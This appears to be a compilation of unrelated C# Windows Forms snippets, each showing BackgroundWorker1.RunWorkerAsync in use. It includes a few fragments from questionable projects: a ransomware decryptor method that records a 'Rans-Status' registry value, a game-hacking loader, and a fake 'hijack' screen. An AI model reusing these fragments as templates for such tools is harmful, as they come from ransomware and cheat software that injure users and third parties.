private void UcHome_BtnStart_Click(object sender, EventArgs e) { if (isStart == false) { isStart = true; ucHome1.PicBoxStatus.Image = Properties.Resources.active; ucHome1.LblStatus.Text = "Active"; ucHome1.TbError.Text = ""; ucHome1.TbError.Visible = false; ucHome1.BtnStart.Text = "STOP"; ucSettings1.TrkBarRefreshDelay.Enabled = false; ucSettings1.TrkBarReconnectDelay.Enabled = false; ucSettings1.NumUDExchangeRate.Enabled = false; ucSettings1.BtnReset.Enabled = false; ucSettings1.BtnSave.Enabled = false; CancelToken = new CancellationTokenSource(); BackgroundWorker1.RunWorkerAsync(); } else { ucHome1.BtnStart.Text = "PLEASE WAIT"; BackgroundWorker1.CancelAsync(); CancelToken.Cancel(); } }
private void BtnStart_Click(object sender, EventArgs e) { // check if the target path if (string.IsNullOrEmpty(outputPath)) { MessageBox.Show("Please set the output directory", "Image compressor", MessageBoxButtons.OK, MessageBoxIcon.Error); return; } foreach (ListViewItem liItem in ListViewFiles.Items) { itemsList.Add(liItem); } totalFiles = ListViewFiles.Items.Count; lblFilesCount.Text = totalFiles.ToString(); lblFilesProcessed.Text = "0"; lblRemaining.Text = "0"; if (BackgroundWorker1.IsBusy == false) { BtnStart.Enabled = false; BackgroundWorker1.RunWorkerAsync(); } }
public MainForm() { // // The InitializeComponent() call is required for Windows Forms designer support. // InitializeComponent(); // // TODO: Add constructor code after the InitializeComponent() call. // // pfs for RunAtStartup checkbox if (rkApp.GetValue("ManyClipPFS") == null) { // The value doesn't exist, the application is not set to run at startup checkBoxRunAtStartup.Checked = false; } else { // The value exists, the application is set to run at startup checkBoxRunAtStartup.Checked = true; } //InitializeBackgoundWorker(); CaptureEnabled = true; BackgroundWorker1.RunWorkerAsync(); }
private void Btn_Exec_Click(object sender, EventArgs e) { progressBar1.Style = ProgressBarStyle.Marquee; Btn_Exec.Enabled = false; BackgroundWorker1.WorkerReportsProgress = true; BackgroundWorker1.RunWorkerAsync(new String[] { Tb_Search.Text, Tb_InFile.Text, Tb_OutFile.Text }); }
public frmMain() { // This call is required by the designer. InitializeComponent(); // Add any initialization after the InitializeComponent() call. dtRainData.Columns.Add("time", typeof(DateTime)); dtRainData.Columns.Add("rain", typeof(double)); dtWindData.Columns.Add("time", typeof(DateTime)); dtWindData.Columns.Add("windSpeed", typeof(double)); lblWuStationID.Text = Properties.Settings.Default.wuStation; lblWbStationID.Text = Properties.Settings.Default.wbStation; lblPwsStationID.Text = Properties.Settings.Default.pwsStation; lblAweatherStationID.Text = Properties.Settings.Default.awStation; if (Properties.Settings.Default.networkDevice.Length > 0) { txtOutput.Text = waitMessage; txtOutput.Refresh(); pbarProgressBar1.Value = 5; if (BackgroundWorker1.IsBusy == false) { BackgroundWorker1.RunWorkerAsync(); } } }
public void Dec() { try { BackgroundWorker1.WorkerSupportsCancellation = true; BackgroundWorker1.RunWorkerAsync(); BackgroundWorker2.WorkerSupportsCancellation = true; BackgroundWorker2.RunWorkerAsync(); BackgroundWorker3.WorkerSupportsCancellation = true; BackgroundWorker3.RunWorkerAsync(); while (Finished != 3) { System.Threading.Thread.Sleep(50); } if (OK) { Registry.SetValue(@"HKEY_CURRENT_USER\Software\" + HWID(), "Rans-Status", "Decrypted"); Interaction.MsgBox("Done!", MsgBoxStyle.SystemModal); } Finished = 0; Pass = string.Empty; btnDecrypt.Enabled = true; btnDecrypt.Text = "Decrypt"; txtKey.ReadOnly = false; } catch (Exception ex) { } }
private void Timer3_Tick(object sender, EventArgs e) { if (BackgroundWorker1.CancellationPending == false) { Timer3.Stop(); BackgroundWorker1.WorkerSupportsCancellation = true; BackgroundWorker1.RunWorkerAsync(); } }
void LoadLocalStream(string LocalFile) { if (LocalFile.Contains(".mp4") == true || LocalFile.Contains(".avi") == true || LocalFile.Contains(".mkv") == true || LocalFile.Contains(".flv") == true || LocalFile.Contains(".mpg") == true || LocalFile.Contains(".webm") == true || LocalFile.Contains(".divx") == true || LocalFile.Contains(".mov") == true || LocalFile.Contains(".m4v") == true || LocalFile.Contains(".wmv") == true) { if (WS1.IsSocketOpen() == false) { IsLocalStream = true; TempFilePath = LocalFile; ConnectChromecast(); Timer4.Start(); return; } WebSvr1.CleanTempFiles(); if (IsTranscoding == true) { if (BackgroundWorker1.IsBusy == true) { BackgroundWorker1.CancelAsync(); } if (gProcess.HasExited == false) { gProcess.Kill(); } } VideoTitle = LocalFile; VideoTitle = Regex.Split(LocalFile, @"\\")[Regex.Split(LocalFile, @"\\").Length - 1]; Label3.Text = VideoTitle; if (LocalFile.Contains(".mp4") == true) { IsTranscoding = false; AppLog("Streaming: " + LocalFile); WebSvr1.VideoFile(LocalFile); WS1.SendMessage(UTL1.LoadPlayURL(VideoTitle, "http://" + LocalIP + ":" + LocalPort + "/video.mp4")); } else { Thread.Sleep(1000); AppLog("Transcoding: " + LocalFile); TrancodeFilePath = LocalFile; if (IsTranscoding == true && BackgroundWorker1.IsBusy == true) { if (BackgroundWorker1.CancellationPending == true) { Timer3.Start(); } return; } IsTranscoding = true; BackgroundWorker1.WorkerSupportsCancellation = true; BackgroundWorker1.RunWorkerAsync(); } } }
private void btnasync_Click(object sender, EventArgs e) { pictureBox1.Image = null; lblresult.Text = ""; btncancel.Enabled = true; btnasync.Enabled = false; ProgressBar1.Value = 0; this.Cursor = Cursors.WaitCursor; BackgroundWorker1.RunWorkerAsync(txtnum.Text); }
private void BackgroundWorker1_RunWorkerCompleted(object sender, System.ComponentModel.RunWorkerCompletedEventArgs e) { pbarProgressBar1.Value = 0; if (BackgroundWorker1.IsBusy == false) { txtOutput.Text = DateTime.Now + "\t" + "Attempting to resume operation. It may take a few minutes for the bridge to come back online..." + System.Environment.NewLine + txtOutput.Text; pbarProgressBar1.Value = 5; BackgroundWorker1.RunWorkerAsync(); } }
// ERROR: Handles clauses are not supported in C# private void HijackScreen_Load(object sender, EventArgs e) { hackeffecttimer.Tick += new EventHandler(hackeffecttimer_Tick); conversationtimer.Tick += new EventHandler(conversationtimer_Tick); textgen.Tick += new EventHandler(textgen_Tick); this.FormBorderStyle = FormBorderStyle.None; this.WindowState = FormWindowState.Maximized; BackgroundWorker1.RunWorkerAsync(); conversationtimer.Start(); hackeffecttimer.Start(); }
void LoadNetWorkStream(string Networkfile) { if (Networkfile.Contains(".mp4") == true || Networkfile.Contains(".avi") == true || Networkfile.Contains(".mkv") == true || Networkfile.Contains(".flv") == true || Networkfile.Contains(".mpg") == true || Networkfile.Contains(".webm") == true || Networkfile.Contains(".divx") == true || Networkfile.Contains(".mov") == true || Networkfile.Contains(".m4v") == true || Networkfile.Contains(".wmv") == true) { if (WS1.IsSocketOpen() == false) { IsLocalStream = false; TempFilePath = Networkfile; ConnectChromecast(); Timer4.Start(); return; } WebSvr1.CleanTempFiles(); if (IsTranscoding == true) { if (BackgroundWorker1.IsBusy == true) { BackgroundWorker1.CancelAsync(); } if (gProcess.HasExited == false) { gProcess.Kill(); } } string VideoURL = Networkfile; string Videofile = Regex.Split(VideoURL, "/")[Regex.Split(VideoURL, "/").Length - 1]; Label3.Text = Videofile; if (Videofile.Substring(Videofile.Length - 4, 4).ToLower() == ".mp4") { IsTranscoding = false; VideoTitle = Videofile; WS1.SendMessage(UTL1.LoadPlayURL(VideoTitle, VideoURL)); } else { Thread.Sleep(1000); TrancodeFilePath = VideoURL; VideoTitle = Videofile; AppLog("Transcoding: " + VideoURL); if (IsTranscoding == true && BackgroundWorker1.IsBusy == true) { if (BackgroundWorker1.CancellationPending == true) { Timer3.Start(); } return; } IsTranscoding = true; BackgroundWorker1.WorkerSupportsCancellation = true; BackgroundWorker1.RunWorkerAsync(); } } }
/// <summary> /// 将结果输出到word中 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> /// <remarks></remarks> public void btnExport_Click(object sender, EventArgs e) { if (F_SelectedDrawings.Count() > 0) { if (BackgroundWorker1.IsBusy != true) { // Start the asynchronous operation. BackgroundWorker1.RunWorkerAsync(F_SelectedDrawings); } } else { return; } }
private void DelDulp_StartSearch_Click(object sender, EventArgs e) { DelDulp_StartSearch.Enabled = false; DelDulp_Cancel.Enabled = false; try { if (Directory.Exists(Path.Combine(Settings.Default.OSUpath, "Songs"))) { BackgroundWorker1.RunWorkerAsync(Path.Combine(Settings.Default.OSUpath, "Songs")); } } catch (SystemException ex) { Console.WriteLine(ex.StackTrace); throw (new FormatException("Failed to read song path", ex)); } }
void ButtonStartClick(object sender, System.EventArgs e) { // routine assumes backgroundWorker was started in // MainForm constructor //toggle Capture if (CaptureEnabled.Equals(true)) { // if capturing was enabled BackgroundWorker1.CancelAsync(); // this will result in event handler BackgroundWorker1_RunWorkerCompleted // and the button color and text will be changes. } else { // if capturing was disabled BackgroundWorker1.RunWorkerAsync(); CaptureEnabled = true; this.buttonStart.BackColor = System.Drawing.Color.LightGreen; this.buttonStart.Text = "Stop Capturing Clipboard Changes."; } }
private void btnStart_Click(object sender, EventArgs e) { if (Properties.Settings.Default.networkDevice.Length > 0) { txtOutput.Text = waitMessage; txtOutput.Refresh(); lblWuStationID.Text = Properties.Settings.Default.wuStation; lblWbStationID.Text = Properties.Settings.Default.wbStation; lblPwsStationID.Text = Properties.Settings.Default.pwsStation; lblAweatherStationID.Text = Properties.Settings.Default.awStation; pbarProgressBar1.Value = 5; if (BackgroundWorker1.IsBusy == false) { BackgroundWorker1.RunWorkerAsync(); } } else { try { frmSetup setup = new frmSetup(); setup.ShowDialog(); } catch (Exception ex) { if (ex.Message.IndexOf("pcap", StringComparison.OrdinalIgnoreCase) == 0) { MessageBox.Show("ERROR: " + ex.Message + System.Environment.NewLine + System.Environment.NewLine + "Please go to http://www.winpcap.org , download WinPcap, and install it."); } else { MessageBox.Show("ERROR: " + ex.Message); } } } }
protected override void OnLoad(EventArgs e) { RefreshTheme(); RefreshHotKeys(); coreVersionLabel.Text = engine.GetCoreVersion(); gameVersionLabel.Text = engine.GetCompatibleVersion(); loaderVersionLabel.Text = _LOADER_VERSION; base.OnLoad(e); try { using (WebClient client = new WebClient()) { client.DownloadFile("https://raw.githubusercontent.com/madgwee/RO2-Hacking/master/Valkyrie.System/changelog.txt", "Changelog.txt"); StreamReader sr = new StreamReader("Changelog.txt"); string changelog = ""; while (!sr.EndOfStream) { changelog += sr.ReadLine() + Environment.NewLine; } changelogBox.Text = changelog; } } catch { changelogBox.Text = "Couldn't fetch the data."; } if (!BackgroundWorker1.IsBusy) { BackgroundWorker1.RunWorkerAsync(); } }
public void extract(string mode, Configurations configs, OsuDb odb, CollectionDb cdb) { Configs = configs; Mode = mode; ValidMode = validChars(mode); Odb = odb; Cdb = cdb; Result = false; if (Odb.Beatmaps.Count != 0) { Log = new List <string>(); if (!System.IO.File.Exists(Configs.ImgPath)) { using (MemoryStream ms = new MemoryStream()) { Properties.Resources.Defaultsongthumbnail.Save(ms, ImageFormat.Jpeg); ms.Position = 0; PicDefault.Data = TagLib.ByteVector.FromStream(ms); } } else { PicDefault.Data = TagLib.ByteVector.FromPath(Configs.ImgPath); } try { Directory.CreateDirectory(Path.Combine(Configs.OutPath, ValidMode)); OutputSubFolder = Path.Combine(Configs.OutPath, ValidMode); if (Mode == "Complete library") { PrBarMax = 0; BeatmapEntry oldBeatmap = Odb.Beatmaps[0]; foreach (BeatmapEntry beatmap in Odb.Beatmaps) { if (oldBeatmap.BeatmapSetId != beatmap.BeatmapSetId) { PrBarMax++; } oldBeatmap = beatmap; } PrBarMax++; } else { PrBarMax = 0; //Select collection foreach (Collection col in Cdb.Collections) { if (col.Name == Mode) { SelectedCollection = col; } } foreach (string hash in SelectedCollection.BeatmapHashes) { PrBarMax++; } } viewUpdate(true, PrBarMax); BackgroundWorker1.RunWorkerAsync(); } catch (Exception) { MessageBox.Show("Unable to create directory:" + Path.Combine(Configs.OutPath, ValidMode) + Environment.NewLine + Environment.NewLine + "Please check if the fonder is read only or protected...", "Unexpected Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } } else { MessageBox.Show("Your osu seems to have 0 songs thats weird..." + Environment.NewLine + Environment.NewLine + "Please put some maps in it or try another installation...", "Unexpected Error", MessageBoxButtons.OK, MessageBoxIcon.Error); } }
private void Button1_Click(System.Object sender, System.EventArgs e) { //Dim d As New TestDatabaseSizingDataSetTableAdapters.QueriesTableAdapter //d.AddRecord(1, 2, DateTime.Now) BackgroundWorker1.RunWorkerAsync(); }
public WaitForService() { InitializeComponent(); BackgroundWorker1.RunWorkerAsync(); }
private void btnStart_Click(object sender, EventArgs e) { stopwatch.Reset(); OleDbConnection ocn = null; try { strXLSFile = txtFileName.Text.Trim(); if (string.IsNullOrEmpty(strXLSFile)) { MessageBox.Show("Plese select PRs list file.", strCaption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation); return; } fileExt = Path.GetExtension(strXLSFile).ToUpper(); if (string.IsNullOrEmpty(fileExt) || (fileExt != ".XLS" && fileExt != ".XLSX")) { MessageBox.Show("Please select valid Excel file.", strCaption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation); return; } if (!File.Exists(strXLSFile)) { MessageBox.Show("Excel file does not exists in physical location.", strCaption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation); return; } //Closing the excel file if it is already opened. if (clsStaticMethods.closeOpenedExcel(strXLSFile)) { System.Threading.Thread.Sleep(1000); } if (fileExt == ".XLS") { OcnStr = "Provider=Microsoft.Jet.OLEDB.4.0;Data Source=" + strXLSFile + ";Extended Properties=Excel 8.0;"; //HDR=Yes;IMEX=2" } else if (fileExt == ".XLSX") { //OcnStr = "Provider=Microsoft.ACE.OLEDB.12.0;Data Source=" & strXLSFile & ";Extended Properties=Excel 12.0 Xml;HDR=Yes;IMEX=2" OcnStr = "Provider=Microsoft.ACE.OLEDB.12.0;Data Source=" + strXLSFile + ";Extended Properties=Excel 12.0 ;"; } ocn = new OleDbConnection(OcnStr); try { if ((ocn.State == ConnectionState.Closed)) { ocn.Open(); } } catch (Exception ex) { MessageBox.Show("Error in opening connection to read data from Excel: " + Environment.NewLine + ex.Message, strCaption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation); return; } //Get the name of the First Sheet. DataTable dtExcelSchema = ocn.GetOleDbSchemaTable(OleDbSchemaGuid.Tables, null); string sheetName = dtExcelSchema.Rows[0]["TABLE_NAME"].ToString(); string Query = "Select [PR Link],[Status] from [" + sheetName + "] where [PR Link] IS NOT NULL"; //clsStaticMethods.WriteLog(Query) using (OleDbDataAdapter oda = new OleDbDataAdapter(Query, ocn)) { try { ods = new DataSet(); oda.Fill(ods, "tblData"); //odtbl = New DataTable["tblData"] //oda.Fill(odtbl) } catch (Exception ex) { MessageBox.Show("Error in reading data from Excel: " + Environment.NewLine + ex.Message, strCaption, MessageBoxButtons.OK, MessageBoxIcon.Exclamation); return; } } //clsStaticMethods.WriteLog("Columns count in Excel file: " & CInt(ods.Tables("tblData").Columns.Count)) int recCount = ods.Tables["tblData"].Rows.Count; if (!(recCount > 0)) { MessageBox.Show("No records found in Excel file.", strCaption, MessageBoxButtons.OK, MessageBoxIcon.Information); return; } else { if (!clsStaticMethods.isFireforExists()) { MessageBox.Show("It is required to have Mozilla Firefox browser, Install it and try again.", strCaption, MessageBoxButtons.OK, MessageBoxIcon.Information); return; } if (cmbReQBuild.Text.Trim().ToLower() == "yes") { clsStaticMethods.isRequeue = true; if (chkFailed.Checked) { clsStaticMethods.isRequeueFailed = true; } else { clsStaticMethods.isRequeueFailed = false; } if (chkExpired.Checked) { clsStaticMethods.isRequeueExpired = true; } else { clsStaticMethods.isRequeueExpired = false; } } else { clsStaticMethods.isRequeue = false; clsStaticMethods.isRequeueFailed = false; clsStaticMethods.isRequeueExpired = false; } isControlsEnable(false); lstBxLog.Items.Clear(); ProgressBar1.Visible = true; ProgressBar1.Maximum = recCount; ProgressBar1.Value = 0; lblProgressPercent.Text = ""; lblElapsedTime.Text = ""; lblProgressPercent.BackColor = SystemColors.ControlLight; lblProgressPercent.Visible = true; isFirstPR = true; BackgroundWorker1.RunWorkerAsync(); } } catch (Exception ex) { clsStaticMethods.WriteLog("btnStart_Click()-->" + ex.Message); } finally { if (ocn != null) { if (ocn.State == ConnectionState.Open) { ocn.Close(); } ocn = null; } } }